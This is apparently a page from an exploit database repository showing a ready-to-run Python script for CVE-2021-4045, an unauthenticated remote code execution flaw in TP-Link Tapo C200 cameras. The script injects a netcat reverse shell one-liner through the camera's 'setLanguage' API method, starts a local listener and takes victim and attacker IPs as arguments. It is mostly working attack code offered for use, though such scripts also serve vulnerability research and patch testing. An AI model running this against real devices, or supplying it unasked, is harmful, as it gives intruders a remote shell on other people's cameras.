c5397147d9
7 changes to exploits/shellcodes Teleport v10.1.1 - Remote Code Execution (RCE) TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE) Feehi CMS 2.1.1 - Remote Code Execution (RCE) (Authenticated) Wordpress Plugin WP-UserOnline 2.88.0 - Stored Cross Site Scripting (XSS) Wordpress Plugin 3dady real-time web stats 1.0 - Stored Cross Site Scripting (XSS) Aero CMS v0.0.1 - SQLi Testa 3.5.1 Online Test Management System - Reflected Cross-Site Scripting (XSS)
32 lines
No EOL
1.2 KiB
Python
Executable file
32 lines
No EOL
1.2 KiB
Python
Executable file
# Exploit Title: TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE)
|
|
# Date: 02/11/2022
|
|
# Exploit Author: hacefresko
|
|
# Vendor Homepage: https://www.tp-link.com/en/home-networking/cloud-camera/tapo-c200/
|
|
# Version: 1.1.15 and below
|
|
# Tested on: 1.1.11, 1.1.14 and 1.1.15
|
|
# CVE : CVE-2021-4045
|
|
|
|
# Write up of the vulnerability: https://www.hacefresko.com/posts/tp-link-tapo-c200-unauthenticated-rce
|
|
|
|
import requests, urllib3, sys, threading, os
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
|
|
PORT = 1337
|
|
REVERSE_SHELL = 'rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc %s %d >/tmp/f'
|
|
NC_COMMAND = 'nc -lv %d' % PORT # nc command to receive reverse shell (change it depending on your nc version)
|
|
|
|
if len(sys.argv) < 3:
|
|
print("Usage: python3 pwnTapo.py <victim_ip> <attacker_ip>")
|
|
exit()
|
|
|
|
victim = sys.argv[1]
|
|
attacker = sys.argv[2]
|
|
|
|
print("[+] Listening on %d" % PORT)
|
|
t = threading.Thread(target=os.system, args=(NC_COMMAND,))
|
|
t.start()
|
|
|
|
print("[+] Serving payload to %s\n" % victim)
|
|
url = "https://" + victim + ":443/"
|
|
json = {"method": "setLanguage", "params": {"payload": "';" + REVERSE_SHELL % (attacker, PORT) + ";'"}}
|
|
requests.post(url, json=json, verify=False) |